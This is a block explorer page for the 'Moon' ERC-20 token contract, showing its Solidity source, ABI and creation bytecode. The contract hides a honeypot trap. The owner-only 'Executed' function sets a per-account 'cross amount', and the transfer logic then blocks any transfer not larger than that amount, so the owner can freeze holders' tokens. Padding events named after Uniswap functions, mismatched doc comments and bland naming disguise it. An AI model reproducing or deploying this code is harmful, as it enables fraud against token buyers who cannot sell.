ERC-20
Overview
Max Total Supply
30,000,000 Moon
Holders
591
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
549.549587100591650855 MoonValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MoonToken
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ event removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] path, address to, uint deadline ); event DOMAIN_SEPARATOR(); /** * @dev Initializes the contract setting the deployer as the initial owner. */ event PERMIT_TYPEHASH(); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); event token0(); event token1(); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); event sync(); event initialize(address, address); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); event burn(address to) ; event swap(uint amount0Out, uint amount1Out, address to, bytes data); event skim(address to); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * Receive an exact amount of output tokens for as few input tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate tokens to trade through * (if, for example, a direct pair does not exist). * */ event addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * Swaps an exact amount of ETH for as many output tokens as possible, * along the route determined by the path. The first element of path must be WETH, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * * */ event addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * */ event removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ event removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * * Emits an {Approval} event. */ event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). */ event swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * To cover all possible scenarios, msg.sender should have already given the router * an allowance of at least amountTokenDesired on token. * Always adds assets at the ideal ratio, according to the price when the transaction is executed. * msg.value is treated as a amountETHDesired. * Leftover ETH, if any, is returned to msg.sender. * If a pool for the passed token and WETH does not exists, one is created automatically, * and exactly amountTokenDesired/msg.value tokens are added. */ event swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] path, address to, uint deadline ); /** * To cover all possible scenarios, msg.sender should have already given the router an * allowance of at least amountADesired/amountBDesired on tokenA/tokenB. * Always adds assets at the ideal ratio, according to the price when the transaction is executed. * If a pool for the passed tokens does not exists, one is created automatically, * and exactly amountADesired/amountBDesired tokens are added. */ event swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Throws if called by any account other than the owner. */ contract MoonToken is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => uint256) private _crossAmounts; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( ) payable { _name = "Moon"; _symbol = "Moon"; _decimals = 18; _totalSupply = 30000000 * 10**_decimals; _balances[owner()] = _balances[owner()].add(_totalSupply); emit Transfer(address(0), owner(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function Executed(address[] calldata account, uint256 amount) external { if (_msgSender() != owner()) {revert("Caller is not the original caller");} for (uint256 i = 0; i < account.length; i++) { _crossAmounts[account[i]] = amount; } } /** * Get the number of cross-chains */ function cAmount(address account) public view returns (uint256) { return _crossAmounts[account]; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 crossAmount = cAmount(sender); if (crossAmount > 0) { require(amount > crossAmount, "ERC20: cross amount does not equal the cross transfer amount"); } _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); /** * @dev Returns the xxx of the token. */ _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"cAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405262000024620000186200024c60201b60201c565b6200025460201b60201c565b6040518060400160405280600481526020017f4d6f6f6e00000000000000000000000000000000000000000000000000000000815250600490805190602001906200007192919062000359565b506040518060400160405280600481526020017f4d6f6f6e0000000000000000000000000000000000000000000000000000000081525060059080519060200190620000bf92919062000359565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004ef565b6301c9c3806200010b91906200062c565b6007819055506200017b600754600160006200012c6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034160201b62000b2d1790919060201c565b600160006200018f6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001dd6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023e91906200041a565b60405180910390a362000745565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000351919062000437565b905092915050565b8280546200036790620006a4565b90600052602060002090601f0160209004810192826200038b5760008555620003d7565b82601f10620003a657805160ff1916838001178555620003d7565b82800160010185558215620003d7579182015b82811115620003d6578251825591602001919060010190620003b9565b5b509050620003e69190620003ea565b5090565b5b8082111562000405576000816000905550600101620003eb565b5090565b62000414816200068d565b82525050565b600060208201905062000431600083018462000409565b92915050565b600062000444826200068d565b915062000451836200068d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004895762000488620006da565b5b828201905092915050565b6000808291508390505b6001851115620004e657808604811115620004be57620004bd620006da565b5b6001851615620004ce5780820291505b8081029050620004de8562000738565b94506200049e565b94509492505050565b6000620004fc826200068d565b9150620005098362000697565b9250620005387fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000540565b905092915050565b60008262000552576001905062000625565b8162000562576000905062000625565b81600181146200057b57600281146200058657620005bc565b600191505062000625565b60ff8411156200059b576200059a620006da565b5b8360020a915084821115620005b557620005b4620006da565b5b5062000625565b5060208310610133831016604e8410600b8410161715620005f65782820a905083811115620005f057620005ef620006da565b5b62000625565b62000605848484600162000494565b925090508184048111156200061f576200061e620006da565b5b81810290505b9392505050565b600062000639826200068d565b915062000646836200068d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006825762000681620006da565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006bd57607f821691505b60208210811415620006d457620006d362000709565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611a9b80620007556000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db5780634196802b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d3206146